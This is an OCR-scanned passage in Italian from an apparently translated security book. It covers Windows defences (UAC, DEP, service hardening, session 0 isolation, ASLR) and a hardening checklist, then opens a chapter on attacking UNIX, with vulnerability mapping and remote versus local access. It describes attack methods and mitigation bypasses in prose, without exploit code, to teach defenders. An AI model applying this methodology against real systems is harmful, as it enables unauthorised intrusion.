per richiedere privilegi elevati.

4. All'utente viene chiesto, in un ambiente speciale (il resto della sessione ¢ visualizzato
in grigio ed ¢ inaccessibile), se vuole effettivamente avviare il programma, e inoltre
possono essere richieste credenziali appropriate, se 'utente non fa parte di un gruppo
amministrativo.

Ipotizzando che gli sviluppatori di applicazioni si comportino bene, UAC ottiene un
tipo di controllo di accesso: soltanto applicazioni specifiche possono essere avviate con
privilegi elevati.

II meccanismo con cui UAC utilizza MIC ¢ il seguente: tutti 1 processi utente non am-
ministrativi sono eseguiti con livello di integrita medio per default. Una volta che un
processo ¢ stato elevato con UAC, viene eseguito con il livello di integrita alto e puo
quindi accedere agli oggetti di tale livello. Percio, ora ¢ obbligatorio avere i privilegi del
livello alto per accedere a determinati oggetti in Windows.

MIC sta anche alla base dell'implementazione di PMIE in Vista e versioni successive di
‘Windows: il processo Internet Explorer (iexplore.exe) viene eseguito con livello di integrita
basso e, in un sistema con la configurazione di default, puo scrivere solo su oggetti dotati
di SID con livello di integrita basso (per default, questo comprende soltanto la cartella
%USERPROFILE%\AppData\LocalLow e la chiave del registro HKCU\Software\
AppDataLow). PMIE quindi non puo scrivere su alcun altro oggetto del sistema, per
default, e questo limita notevolmente 1 danni che si potrebbero apportare se il processo
fosse compromesso da software malware mentre 'utente naviga in Internet.

| ATTENZIONE

UAC puo essere disattivato per tutto il sistema in Windows Vista e in Windows 7, selezio-
nando l'opzione corrispondente del Pannello di controllo.

Verizon Business ha pubblicato un rapporto intitolato “Escaping from Microsoft’s Protected
Mode Internet Explorer” che descrive i modi in cui € possibile aggirare la modalita pro-
tetta passando da bassa a media integrita (cfr. verizonbusiness.com/resources/whitepapers/
wp_escapingmicrosoftprotectedmodeinternetexplorer en xg.pdf).Il documento € stato scritto
pensando aVista, ma successivamente altri ricercatori hanno divulgato sistemi per aggirare
la modalita protetta nelle versioni di Windows piu recenti (per esempio, Stephen Fewer
lo ha fatto con IE8 su Windows 7 in occasione di Pwn20Own 2011).

Microsoft continua ad apportare modifiche a UAC per risolvere questi problemi e per
migliorare complessivamente il sistema; per le modifiche di UAC in Windows 7 e Server
2008 cfr. technet.microsoft.com/en-us/library/dd446675(WS.10) .aspx.

Protezione esecuzione programmi

Per molti anni gli studiosi dei problemi di sicurezza hanno discusso I'idea di rendere non
eseguibili alcune aree della memoria. Lo scopo principale era quello di prevenire gli at-
tacchi che sfruttano il tallone di Achille del software, il buffer overflow. Questi attacchi (e
i problemi di corruzione della memoria correlati) generalmente iniettano codice maligno
in porzioni eseguibili della memoria, solitamente lo stack di esecuzione della CPU, o lo
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heap. Rendendo lo stack non eseguibile, per esempio, si chiude la possibilita di utilizzare
uno dei pit affidabili meccanismi per violare il software oggi disponibili: il bufter overflow
basato sullo stack.

Microsoft si ¢ avvicinata a questo obiettivo implementando la funzionalita Protezione
esecuzione programmi, detta anche DEP (Data Execution Prevention, cfr. support.microsoft.
com/kb/875352 per tutti 1 dettagli al riguardo). Questa funzionalitd puo essere applicata
all’hardware e al software. Quando ¢ applicata a dispositivi hardware compatibili, la Pro-
tezione esecuzione programimi si attiva automaticamente e contrassegna certe aree di me-
moria come non eseguibili a meno che non contengano esplicitamente codice eseguibile.
Questo dovrebbe bloccare la maggior parte degli attacchi di tipo bufter overflow basati
sullo stack. In Windows XP SP2 e versioni successive, questa funzionalita si applica anche
al software, nel tentativo di bloccare I'exploit di meccanismi SEH (Structured Exception
Handling), che da sempre hanno ofterto agli hacker ottime basi per I'iniezione di codice
shell (per esempio, cfr. securiteam. com/windowsntfocus/5DPOM2KAKA. html).

| SUGGERIMENTO

La Protezione esecuzione programmi applicata al software e piu efficace con applicazioni
linkate con l'opzione SafeSEH del linker C/C++.

Windows Service Hardening: protezione avanzata di servizi Windows

Come abbiamo visto in tutto questo capitolo, una tecnica di attacco comune prevede la
compromissione di servizi Windows con livelli di privilegi elevati. La consapevolezza di
questo fatto ha spinto Microsoft a rafforzare sempre di pit la protezione dell’infrastruttura
dei servizi in Windows XP e Server 2003, e conVista e Server 2008 e versioni successive
la sicurezza del livello dei servizi ha fatto un ulteriore passo in avanti grazie alla tecnologia
Windows Service Hardening, che include:

¢ isolamento del servizio;

 servizi con privilegi minimi;

* refactoring di servizi;

e accessibilita di rete limitata;

¢ isolamento della sessione 0.

Isolamento del servizio

Molti servizi sono eseguiti nel contesto del medesimo account locale, come LocalSer-
vice. Se uno di essi viene compromesso, risulta compromessa l'integrita di tutti gli altri
servizi eseguiti dallo stesso utente. Per risolvere questo problema, Microsoft utilizza una
combinazione di due tecnologie:

o SID specifici del servizio;
e SID ristretti.

Assegnando a ciascun servizio un SID univoco, le risorse del servizio, quali un file o una
chiave del registro, possono essere impostate negli elenchi di controllo di accesso in modo
da consentirne la modifica soltanto al servizio in questione. U'esempio seguente utilizza
gli strumenti sc.exe e PsGetSid (microsoft.com) per visualizzare il SID del servizio WLAN
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e pol eseguire la traduzione inversa sul SID in modo da ottenere il nome di account in
forma leggibile dall’'uomo:

C:\>sc showsid wlansvc
NAME: wlansvc
SERVICE SID: S-1-5-80-1428027539-3309602793-2678353003-1498846795-3763184142

C:\>psgetsid S-1-5-80-1428027539-3309602793-2678353003-1498846795-3763184142

PsGetSid v1.43 - Translates SIDs to names and vice versa
Copyright (C) 1999-2006 Mark Russinovich
Sysinternals - www.sysinternals.com

Account for S-1-5-80-1428027539-3309602793-2678353003-1498846795-3763184142:
Well Known Group: NT SERVICE\Wlansvc

Per ridurre al minimo la possibilita che servizi che devono essere eseguiti sotto lo stesso
contesto possano influenzarsi reciprocamente, si utilizzano SID protetti dalla scrittura:il SID
del servizio e il SID di protezione dalla scrittura (S-1-5-33) vengono aggiunti all’elenco
di SID ristretti del processo del servizio. Quando un processo o un thread ristretto tenta
di accedere a un oggetto, sono effettuati due controlli di accesso: uno utilizzando i SID
del token attivato e un altro utilizzando 1 SID ristretti; soltanto se entrambe le verifiche
hanno successo, viene concesso l'accesso. In questo modo si evita che 1 servizi ristretti
possano accedere a qualsiasi oggetto che non conceda loro, esplicitamente, il diritto di
accedere al SID del servizio.

Servizi con privilegi minimi

Molti servizi Windows hanno sempre operato nel contesto di LocalSystem, che conce-
de la possibilita di fare praticamente ogni cosa. In Vista e versioni successive, 1 privilegi
concessi a un servizio non sono piu esclusivamente legati all’account per cui il servizio
¢ configurato, ma possono essere richiesti esplicitamente.

Per ottenere questo scopo, ¢ stato modificato SCM (Service Control Manager): ora i servizi
possono fornire a SCM un elenco di privilegi specifici da essi richiesti (naturalmente
non possono richiedere permessi che non sono in possesso, in origine, del principal per
cui sono configurati). All’avvio del servizio, SCM rimuove dal processo dei servizi tutti i
privilegi non esplicitamente richiesti.

Per 1 servizi che condividono un processo, come svchost, il token di processo contiene
un aggregato di tutti i privilegi richiesti da ciascun singolo servizio del gruppo, e cio fa
di questo processo un punto di attacco ideale. Eliminando i privilegi non necessari, si
riduce la superficie di attacco del processo di hosting.

Come nelle precedenti versioni di Windows, 1 servizi possono essere configurati tramite
lo strumento della riga di comando sc.exe. A questa utility sono state aggiunte due nuo-
ve opzioni, gprivs e privs, che consentono rispettivamente di interrogare e impostare 1
privilegi del servizio. Se cercate di controllare o bloccare i servizi in esecuzione sul vostro
sistema Vista o Server 2008 (e versioni successive), questi comandi sono utilissimi.

SUGGERIMENTO

Se avviate limpostazione dei privilegi di servizio con sc.exe, assicuratevi di specificare tutti
i privilegi insieme. Lo strumento sc.exe non include nell'elenco i privilegi non specificati
esplicitamente.
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Refactoring di servizi

11 refactoring di servizi indica I'esecuzione di servizi con account dotati di privilegi piu ri-
dotti, in sostanza ¢ un modo per eseguire 1 servizi con privilegi minimi. InVista, Microsoft
ha spostato otto servizi dal contesto SYSTEM in LocalService. Altri quattro servizi di
SYSTEM sono stati spostati sotto I'account NetworkService.

Inoltre sono stati introdotti sei nuovi host di servizio (svchosts), che offrono piu flessibi-
lita quando si tratta di bloccare 1 servizi; sono elencati di seguito in ordine di privilegio
crescente:

e LocalServiceNoNetwork

e LocalServiceRestricted

e LocalServiceNetworkR estricted

e NetworkServiceRestricted

e NetworkServiceNetworkR estricted
* LocalSystemNetworkR estricted

Ognuno di questi host di servizio opera con un token protetto da scrittura, come spiegato
in precedenza in questo capitolo, tranne quelli il cui nome termina con NetworkRe-
stricted, che limitano P'accessibilita in rete del servizio a un insieme di porte fisso; questo
argomento merita di essere trattato un po’ piu in dettaglio.

Accesso di rete ristretto

Con la nuova versione di Windows Firewall (con protezione avanzata!) disponibile in
Vista, Server 2008 e versioni successive, i criteri di restrizione di rete possono essere
applicati anche ai servizi. Il nuovo firewall consente agli amministratori di creare regole
che rispettino le seguenti caratteristiche della connessione:

* Direzionalita. Ora le regole possono essere applicate al traffico in ingresso e in
uscita.

* Protocollo. Il firewall ora ¢ in grado di prendere decisioni in base a un insieme piu
ampio di tipi di protocollo.

* Principal. Le regole possono essere configurate in modo da applicarsi soltanto a
un utente specifico.

 Interfacce. Ora gli amministratori possono applicare regola a un dato insieme di
interfacce, per esempio Wireless, Local Area Network e cosi via.

Linterazione con queste e altre funzionalita dei firewall € solo uno dei modi per aumen-
tare la protezione dei servizi.

Isolamento della sessione 0

Nel 2002 1l ricercatore Chris Paget presentd una nuova tecnica di attacco a Windows
che chiamo “Shatter Attack” (letteralmente “attacco distruttore); tale tecnica prevedeva
di iniziare con privilegi di livello basso, inviando un messaggio finestra a un servizio con
privilegi di livello superiore, facendo in modo che tale servizio eseguisse comandi arbi-
trari, cosi da elevare 1 privilegi dell’hacker allo stesso livello del servizio (cfr. en.wikipedia.
org/wiki/Shatter attack). Nella risposta all’articolo di Paget, Microsoft osservo che “Per
scelta progettuale, tutti 1 servizi all’'interno del desktop interattivo sono alla pari e possono
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imporsi richieste I'un I'altro. Di conseguenza, tutti 1 servizi nel desktop interattivo hanno
privilegi commisurati a quello che ha 1 privilegi di livello piu alto”.

In termini piu tecnici, questo progetto consentiva agli hacker di inviare messaggi finestra
a servizi privilegiati, perché condividevano la sessione di accesso di default, ovvero la ses-
sione O (msdn.microsoft.com/en-us/windows/hardware/gg463353.aspx). Separando le sessioni
utente dalle sessioni det servizi, gli attacchi di questo tipo vengono mitigati. Questa ¢
I'essenza dell'isolamento della sessione 0:inVista e versioni successive 1 servizi e 1 processi
di sistema rimangono nella sessione 0, mentre le sessioni utente iniziano dalla 1. Lo si
puo vedere in Gestore attivita aprendo il menu Visualizza e selezionando la colonna ID
sessione, come € mostrato nella Figura 4.14.

Sempre nella Figura 4.14 potete vedere che la maggior parte dei processi di servizi e di
sistema si trovano nella sessione 0, mentre i processi utente si trovano nella sessione 1. E
utile osservare che non tutti 1 processi di sistema sono eseguiti nella sessione 0. Per esempio,
winlogon.exe e un’istanza di csrsss.exe sono eseguiti in sessioni utente sotto il contesto
di SYSTEM. Anche cosi, I'isolamento della sessione, insieme ad altre funzionalita come
MIC discusse in precedenza, rappresenta un efficace rimedio a un difetto che in passato
costituiva un vettore di attacco comune per gli hacker.

i Windows Task Manager _ [O] x|

File Options Miew Help

.A.pplimﬁons Processes |5eruices I PerFormanceI Metwaorking I Users I

Image ... = I User Name I Session ID I CPU I Data Exec... I;l
|zass. exe SYSTEM 0 00 Enabled
lsm.exe SYSTEM 0 00 Enabled
Administ. .. 1 Enabled
MMC. EXE Administ. .. 1 00 Enabled
msconfig.exe Administ. .. 1 00 Enabled
msdtc.exe MNETWO... 0 00 Enabled
mspaint.exe Administ. .. 1 00 Enabled
regedit.exe Administ. .. 1 00 Enabled
SETViCES. EXe SYSTEM 0 00 Enabled
Slavc.exe METWO... 0 00 Enabled
SMES, EXE SYSTEM 0 00 Enabled
spoolsy. exe SYSTEM 0 00 Enabled
sychost.exe SYSTEM 0 00 Enabled
sychost.exe METWO. .. 0 00 Enabled
svchost.exe LOCAL ... 0 00 Enabled

svchost.exe SYSTEM 0 00 Fnabled =

¥ show processes from all users End Process |

|Pmc:esses: 44 |CF‘U Usage: 10% |F‘hy3ica| Memony: 40°% v

Figura 4.14 La colonna ID sessione di Gestione attivita Windows
mostra la separazione tra sessioni utente (ID 1) e sessioni di servizio (ID 0).
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Miglioramenti basati sul compilatore

Come avete visto fin qui, alcuni tra 1 peggiori exploit si devono ad attacchi che corrom-
pono la memoria, come nel caso del bufter overflow. A partire da Windows Vista e Server
2008 (le versioni precedenti implementavano gia alcune di queste funzionalita), Microsoft
ha implementato alcune caratteristiche per ostacolare questi attacchi, tra cui:

o GS;
e SafeSEH;
o ASLR (Address Space Layout Randomization).

Si tratta di funzionalita per lo piu di basso livello, che non sono configurabili da ammi-
nistratori o utenti. Le descriviamo brevemente per evidenziare la loro importanza allo
scopo di contrastare attacchi comuni. Trovate ulteriori dettagli sul loro utilizzo consul-
tando il volume Hacking Exposed Windows, Third edition (McGraw-Hill Professional, 2007;
winhackingexposed.com).

GS ¢ una tecnologia a tempo di compilazione che punta a prevenire 'exploit di buffer
overflow basati sullo stack nella piattatorma Windows. A questo scopo GS inserisce un
valore casuale, o cookie, sullo stack, tra le variabili locali e gli indirizzi di ritorno. Oggi
molti prodotti di Microsoft contengono porzioni di codice compilate con GS.

Come ha spiegato per la prima volta Dave Litchfield nell’articolo: “Defeating the Stack
Based Overflow Prevention Mechanism of Microsoft Windows 2003 Server” (blackhat.
com/presentations/bh-asia-03/bh-asia-03-1litchfield.pdf), un hacker puo sovrascrivere il
gestore di eccezioni con un valore controllato e riuscire a eseguire il codice in un modo
piu affidabile rispetto alla sovrascrittura diretta dell’indirizzo di ritorno. Per risolvere questo
problema, Microsoft ha introdotto SafeSEH in Windows XP SP2 e Windows Server 2003
SP1. Come GS, SateSEH ¢ una tecnologia di sicurezza a tempo di compilazione, ma a
diftferenza di GS, invece di proteggere puntatore a frame e indirizzo di ritorno, serve ad
assicurare che non si verifichino abusi del frame del gestore di eccezioni.

ASLR ¢ progettato per contrastare la capacita di un hacker di prevedere in quali locazio-
ni di memoria si troveranno istruzioni e dati controllabili. Prima di ASLR, le immagini
‘Windows erano caricate in modi sempre coerenti, e questo consentiva agli exploit che
utilizzavano bufter overflow basati sullo stack di operare su praticamente qualsiasi mac-
china con in esecuzione una versione vulnerabile del software colpito, come un virus
pandemico che potrebbe infettare tutte le distribuzioni di Windows. Per risolvere questo
problema, Microsoft ha lavorato a un meccanismo che rendesse casuale la posizione di
immagini eseguibili (DLL, EXE e cosi via), allocazioni nello heap e nello stack. Come
GS e SafeSEH, anche ASLR si attiva tramite un parametro a tempo di compilazione,
I'opzione del linker /DYNAMICBASE.

ATTENZIONE

Le vecchie versioni di link.exe non supportano ASLR; cfr. support.microsoft.com/
kb/922822.

Anche ASLR ha dovuto affrontare numerosi exploit dalla sua introduzione, e certamente
nuovi attacchi sempre piu sofisticati continueranno a essere resi pubblici in futuro. Tut-
tavia, combinando ASLR con altre funzionalita di sicurezza quali DEP, Microsoft pud
ragionevolmente sostenere di aver ottenuto un discreto successo nell’ostacolare lattivita
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di sviluppo di exploit e, come ha scritto il noto studioso della sicurezza di Windows
Matt Miller (oggi dipendente di Microsoft) in un interessante articolo intitolato: “On
the eftectiveness of DEP and ASLR” presso blogs. technet.com/b/srd/archive/2010/12/08/
on-the-effectiveness-of-dep-and-aslr.aspx.

Il peso della sicurezza di Windows

Riguardo la sicurezza di Windows sono state fatte molte affermazioni, positive e nega-
tive, e molte altre ne saranno fatte certamente in futuro. A prescindere da chi faccia tali
affermazioni, Microsoft, 1 suoi fan o i molti detrattori, soltanto il tempo e le verifiche in
situazioni reali potranno confermarne la veridicita o meno. Abbiamo deciso di presentare
un’ultima riflessione su questo argomento che in sostanza riassume la nostra posizione
riguardo la sicurezza di Windows.

Molti degli aspetti citati spesso per testimoniare la “scarsa sicurezza” di Windows si devono
in realta a errori comuni di cui hanno softerto molte altre tecnologie, e per tempi piu
lunghi. Nel caso di Windows tutto ¢ amplificato dall’enorme diffusione del prodotto. Se
scegliete di utilizzare la piattaforma Windows per i motivi reali a cui si deve la sua popo-
larita (facilita d’uso, compatibilita e cosi via), dovrete assumervi la responsabilita di capire
come farne un ambiente sicuro e come mantenerlo tale. Speriamo che le conoscenze
fornite da questo capitolo possano aiutarvi. Buona fortunal!

Riepilogo

Riportiamo di seguito alcuni suggerimenti tratti dalla discussione svolta in questo capitolo,
oltre ad alcuni riferimenti per trovare ulteriori informazioni:

e I CIS (Center for Internet Security) offre strumenti gratuiti per la valutazione della
configurazione di sicurezza di Microsoft, disponibili presso www.cisecurity.org.

 Consultate il volume Hacking Exposed Windows, Third Edition (McGraw-Hill Professio-
nal, 2007; www.winhackingexposed.com) per una trattazione completa della sicurezza di
Windows. Questo libro amplia le informazioni fornite in questo capitolo per fornire

gli strumenti che consentano di analizzare la sicurezza delle numerose versioni di
‘Windows.

* Leggete il Capitolo 6 per informazioni su come proteggere Windows da abusi lato
client, la frontiera pit vulnerabile nella guerra infinita contro gli hacker.

* Tenetevi sempre aggiornati con 1 nuovi strumenti di sicurezza e le best practice di
Microsoft disponibili presso microsoft.com/security.

* Non dimenticate i1 potenziali rischi causati da altri prodotti Microsoft installati nel
vostro ambiente di lavoro; per esempio, consultate sqlsecurity.com per informazioni
approfondite sulle vulnerabilita di SQL.

* Ricordate che le applicazioni spesso sono molto pit vulnerabili del sistema operativo,
soprattutto quelle pit moderne basate sul Web. Svolgete un’analisi approfondita a li-
vello del sistema operativo utilizzando le informazioni fornite in questo capitolo, ma
concentratevi principalmente sulla protezione del livello di applicazione. Consultate il
Capitolo 10 e il volume Hacking Exposed Web Applications, Third Edition (McGraw-
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Hill Professional, 2007; webhackingexposed.com) per ulteriori informazioni su questo
argomento fondamentale.

Minimalismo equivale a sicurezza: se non ¢’¢ niente da attaccare, gli hacker non
hanno modo di agire. Disattivate tutti i servizi non necessari utilizzando services.msc.
Per i servizi necessari, effettuate una configurazione sicura (per esempio, disattivate
le estensioni ISAPI inutilizzate in IIS).

Se i servizi di file e di stampa non sono necessari, disabilitate SMB.

Utilizzate Windows Firewall (Windows XP SP2 e versioni successive) per bloccare
l'accesso a qualunque porta in ascolto, a parte quelle realmente essenziali per il fun-
zionamento del sistema.

Proteggete 1 server esposti a Internet con firewall o router di rete.

Mantenete aggiornato il sistema con tutti 1 piu recenti service pack e le patch di
sicurezza. Consultate microsoft.com/security per visualizzare I'elenco aggiornato dei
bollettini sulla sicurezza di Microsoft.

Limitate i privilegi assegnati agli accessi interattivi per bloccare gli attacchi a scalata
di privilegi prima ancora che scattino.

Utilizzate Criteri di gruppo (gpedit.msc) per creare e distribuire configurazioni
sicure nel vostro ambiente Windows.

Applicate un rigido criterio di sicurezza fisica per proteggere il sistema dai vari tipi
di attacchi offline descritti in questo capitolo. Implementate SYSKEY in modalita
protetta da password o da floppy per rendere piu difficili questi attacchi. Curate la
sicurezza fisica dei server piu importanti, impostate password del BIOS per proteggere
la sequenza di boot, rimuovete o disabilitate le unita a disco e altre unita a supporti
rimovibili che possano essere utilizzate per avviare le macchine con sistemi opera-
tivi alternativi. Ecco un sito dove viene spiegato come utilizzare una chiavetta USB
al posto di un dischetto per SYSKEY in Windows 7: http://thecustomizewindows.
com/2010/12/create-an-usb-key-to-lock-and-unlock-windows-7/

Abbonatevi a pubblicazioni e risorse online che trattano di sicurezza per tenervi
sempre aggiornati sullo stato dell’arte nel campo degli attacchi e delle contromisure
in ambiente Windows. Un’interessante risorsa messa a disposizione direttamente dalla
casa di Redmond ¢ il blog “Security Research & Defense” presso blogs.technet.
com/b/sxd/.
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Hacking di UNIX

La continua proliferazione che ha portato UNIX
dai computer desktop e server fino agli orologi e ai
dispositivi mobili, ha reso questo sistema un bersaglio
ambito, come del resto era gia al tempo della prima
edizione di questo libro. Per alcuni hacker, ottenere
un accesso di root su un sistema UNIX ¢ un obietti-
vo talmente affascinante da creare dipendenza, quasi
come una droga. Questo obiettivo ¢ rincorso fin dai
primi giorni della nascita di UNIX, percio ¢ utile
riportare un po’ di informazioni di carattere storico
sulla sua evoluzione.

Alla conquista di root

Nel 1969 Ken Thompson, e poi Dennis Ritchie di
AT&T, decisero che il progetto MULTICS (Multi-
plexed Information and Computing System) non stava
avanzando con la velocita desiderata. La loro decisione
di“mettere insieme” un nuovo sistema operativo deno-
minato UNIX cambio per sempre il mondo dell'infor-
matica. UNIX nelle intenzioni degli autori doveva essere
un sistema operativo potente, robusto, multiutente che
eccellesse nell’esecuzione di programmi, nello specifico
piccoli programmi chiamati fool (strumenti). La sicurezza
non rientrava tra le principali caratteristiche del proget-
to, benché UNIX offra un alto livello di sicurezza, se
implementato in maniera appropriata. La“promiscuita”
di UNIX fu il risultato dell’approccio aperto con cui st
procedette allo sviluppo e al potenziamento del kernel
del sistema operativo, e dei piccoli tool che lo rendevano
cost potente. I primi sistemi UNIX si trovavano solita-
mente all'interno di Bell Labs o in ambienti universitari

Sommario

« Alla conquista di root
e Accesso remoto
o Accesso locale

o Accesso di root ottenuto:
eora?
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dove la sicurezza era controllata principalmente mediante mezzi fisici. Percio, qualunque
utente che avesse la possibilita di accedere fisicamente a un sistema UNIX era considerato
autorizzato. In molti casi, 'implementazione di password a livello di root fu considerata un
inutile impedimento ed evitata.

Benché UNIX e 1 sistemi operativi da esso derivati abbiano vissuto un’importante
evoluzione negli ultimi 40 anni, la passione per questo sistema e la sua sicurezza non ¢
venuta meno. Molti appassionati sviluppatori e hacker analizzano il codice alla ricerca
di potenziali falle. Inoltre, ¢ motivo di orgoglio rendere nota la scoperta di una nuova
vulnerabilita su una mailing list dedicata alla sicurezza come Bugtraq. In questo capitolo
esaminiamo questo campo cosi appassionato per determinare come e perché si riesce a
ottenere il tanto ambito accesso di root. Ricordate sempre che UNIX ha due livelli di
accesso: 'onnipotente root e... tutti gli altri. Niente puo sostituire root!

Un breve riepilogo

Nei Capitoli da 1 a 3 abbiamo discusso vari modi per individuare sistemi UNIX ed enume-
rare informazioni. Abbiamo utilizzato scanner di porte come Nmap per individuare porte
TCP/UDP aperte e per eftettuare il fingerprinting del sistema operativo o del dispositivo
bersaglio. Abbiamo utilizzato rpcinfo e showmount per enumerare servizi RPC e punti
di montaggio NFS, rispettivamente. Abbiamo anche impiegato netcat (nc) per catturare
banner con informazioni utili, come i produttori e le versioni delle applicazioni in uso.
In questo capitolo esaminiamo gli exploit eftettivi e le tecniche correlate per un sistema
UNIX. E importante ricordare che le attivitd di footprinting e di riconoscimento della
rete devono essere effettuate prima di poter portare qualsiasi tipo di attacco ai sistemi
UNIX. Il footprinting deve essere effettuato in modo esaustivo e metodico per assicurarsi
di scoprire ogni possibile informazione. Una volta in possesso di tali informazioni,’hacker
deve fare delle ipotesi sensate sulle potenziali vulnerabilita che potrebbero essere presenti
sul sistema bersaglio; questo processo ¢ noto come mappatura delle vulnerabilita.

Mappatura delle vulnerabilita

La mappatura delle vulnerabilita ¢ il processo con cui si crea una mappa di corrispondenza
tra specifiche caratteristiche di sicurezza di un sistema e una vulnerabilitd effettiva o
potenziale. Questa fase fondamentale per la violazione di un sistema bersaglio non va
trascurata, infatti gli hacker hanno la necessita di individuare servizi in ascolto, numeri di
versione di server in esecuzione (per esempio Apache 2.2.22 per HTTP, sendmail 8.14.5
per SMTP), architettura del sistema, nomi utente e cosi via, associandoli a potenziali falle
della sicurezza. Per realizzare questo compito, gli hacker possono utilizzare vari metodi.

* Possono creare manualmente una mappa di corrispondenza tra specifici attributi del
sistema e fonti pubbliche di dati sulle vulnerabilita, come Bugtraq, Open Source
Vulnerability Database, Common Vulnerability and Exposures Database e gli avvisi
relativi alla sicurezza pubblicati dai produttori. Si tratta di un lavoro noioso, ma che
consente di analizzare in modo esauriente le potenziali vulnerabilita senza violare
effettivamente il sistema bersaglio.

* Possono utilizzare codice di exploit pubblicato in varie mailing list sulla sicurezza e
diversi siti web, oppure scrivere un codice apposito. Questo i aiuta a determinare
Pesistenza di una vulnerabilita con un alto grado di certezza.
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e Possono utilizzare strumenti automatici di rilevazione delle vulnerabilita come nessus
(nessus.org).

Tutti questi metodi presentano vantaggi e svantaggi, ma ¢ importante ricordare che soltanto
gli hacker meno capaci, noti in gergo come script kiddies, salteranno la fase di mappatura
delle vulnerabilita cercando di entrare in un sistema senza sapere come e perché funzioni
un exploit. Siamo testimoni di molti attacchi portati utilizzando exploit UNIX contro
sistemi Windows; non ¢ nemmeno il caso di sottolineare I'imperizia di questi hacker, che
ovviamente non riescono nel loro intento.

Di seguito riepiloghiamo i punti chiave da considerare nella fase di mappatura delle
vulnerabilita.

* Eseguire il riconoscimento della rete sul sistema bersaglio.

e Creare una mappa di corrispondenza che associ attributi come il tipo di sistema
operativo, architettura e le specifiche versioni dei servizi in ascolto, a note vulne-
rabilitd ed exploit.

* Svolgere la fase di acquisizione del bersaglio identificando e selezionando 1 sistemi
chiave.

* Enumerare 1 potenziali punti di ingresso e ordinarli per priorita.

Accesso remoto e accesso locale

La parte restante di questo capitolo ¢ suddivisa in due paragrafi principali dedicati, ri-
spettivamente, all’accesso remoto e all’accesso locale. Accesso remoto significa accedere a
un sistema attraverso la rete (per esempio tramite un servizio in ascolto) o un altro canale
di comunicazione. Accesso locale significa disporre di una shell comandi o di un login sul
sistema. Gli attacchi con accesso locale sono anche indicati come attacchi a scalata di privilegi.
E importante comprendere la relazione tra 'accesso remoto e quello locale. Gli hacker
seguono una progressione logica, iniziando con lo sfruttare da remoto una vulnerabilita
di un servizio in ascolto e poi ottenendo un accesso di shell locale. Una volta ottenuto
un accesso di shell, gli hacker sono considerati locali al sistema.

Cercheremo di suddividere logicamente i tipi di attacchi utilizzati per ottenere accesso
remoto, e forniremo vari esempi al riguardo. Una volta ottenuto I'accesso remoto, spieghe-
remo alcuni modi comuni con cui gli hacker possono acquisire maggiori privilegi locali
fino al livello di root. Infine, descriveremo alcune tecniche di raccolta delle informazioni
che consentono agli hacker di ottenere dati sul sistema locale in modo da poterlo utilizzare
come base di lancio per altri attacchi. E importante ricordare che questo capitolo non &
un libro sulla sicurezza UNIX/Linux; per chi desidera leggere un libro dedicato a questo
argomento consigliamo Practical UNIX & Internet Security, di Simson Garfinkel e Gene
Spattord (O’Reilly, 2003). Inoltre, in questo capitolo non possiamo trattare tutti gli exploit
e tutte le numerose versioni di UNIX/Linux;anche questo richiederebbe un intero libro,
quale Hacking Exposed Linux, Third Edition di ISECOM (McGraw-Hill Professional, 2008).
11 nostro obiettivo, invece, ¢ quello di classificare gli attacchi e spiegare la teoria sulla quale
si fondano. In questo modo, quando si scoprira un nuovo attacco, sara facile capire come
funziona,anche se quel tipo specifico non ¢ stato trattato qui. Lapproccio ¢ quello di“dare
al povero una canna da pesca e insegnargli a pescare”, invece di “regalargli del pesce”.
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Accesso remoto

Come si ¢ detto in precedenza, 'accesso remoto comporta I'accesso attraverso una rete

o un altro canale di comunicazione, come un modem telefonico collegato a un sistema
UNIX. Secondo la nostra esperienza, in molte organizzazioni la sicurezza rispetto all’ac-
cesso remoto su linea analogica o ISDN ¢ considerata con pochissima attenzione e si
tende a passare alle reti private virtuali (VPN, Virtual Private Network). Percio ci limitiamo
a trattare 'accesso a un sistema UNIX dalla rete, via TCP/IP. Dopo tutto, TCP/IP ¢ la
pietra miliare di Internet ed ¢ piu attinente alla nostra discussione sulla sicurezza UNIX.
I media vorrebbero far credere a tutti che serva chissa quale magia per compromettere la
sicurezza di un sistema UNIX, ma in realta si utilizzano quattro metodi principali:

exploit di un servizio in ascolto (per esempio TCP/UDP);
routing attraverso un sistema UNIX che fornisce protezione tra due o piu reti;

esecuzione di programmi in remoto avviata dall’'utente (tramite un sito web ostile,
un cavallo di Troia inviato in un messaggio e-mail e cosi via);

exploit di un processo o di un programma che ha posto in modalita promiscua la
scheda di rete.

Esaminiamo alcuni esempi per capire come diversi tipi di attacchi rientrino in queste
categorie.

Exploit di un servizio in ascolto. Qualcuno vi fornisce user ID e password e
vi dice: “Entra nel mio sistema”. Questo ¢ un esempio di attacco che opera con un
exploit di un servizio in ascolto. Come si fa per accedere al sistema se non ¢ in ese-
cuzione un servizio che consenta il login interattivo (Telnet, FTP, rlogin o SSH)? E
che cosa succede quando viene scoperta 'ultima vulnerabilita BIND? I vostri sistemi
sono vulnerabili? Potenzialmente si, ma gli hacker dovranno violare un servizio in
ascolto, BIND, per accedere. E fondamentale ricordare che deve esserci un servizio
in ascolto perché un hacker possa accedere al sistema; se un servizio non ¢ in ascolto,
non ¢ possibile violarlo da remoto.

Routing attraverso un sistema UNIX. Il vostro firewall UNIX ¢ stato raggirato
dagli hacker.“Come ¢ possibile? Non consentiamo alcun servizio in entrata”, affer-
mate. In molti casi, gli hacker raggirano i firewall UNIX inoltrando dei pacchetti
verso 1 sistemi interni attraverso il firewall. Questo ¢ possibile perché nel kernel
UNIX ¢ attivato I'IP forwarding, mentre questa funzione dovrebbe essere svolta dal
firewall. In questi casi, quasi sempre, gli hacker in realta non violano il firewall, ma
lo utilizzano semplicemente come router.

Esecuzione di programmi in remoto avviata dall’utente. Vi sentite al sicuro
perché avete disattivato tutti 1 servizi sul vostro sistema UNIX? Forse non lo siete. E
se vi collegate a http://evilhacker.hackingexposed.com e il vostro browser esegue un
codice maligno che poi si ricollega a un sito hackerato? Questo potrebbe consentire
a un hacker di accedere al vostro sistema. Pensate alle possibili conseguenze qualora
vi foste collegati con privilegi di root prima di iniziare a navigare.

Attacchi in modalita promiscua. Che cosa succede se il vostro sniffer di rete (per
esempio tcpdump) ha delle vulnerabilita? State esponendo il vostro sistema a un attacco
semplicemente con lo snifting del traftico? Potete scommetterci. Usando un attacco
in modalitd promiscua, un hacker puod inviare pacchetti appositamente realizzati in
grado di trasformare il vostro sniffer di rete nel peggiore incubo per la sicurezza.
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Nel prosieguo di questo paragrafo esamineremo specifici attacchi da remoto che rientrano
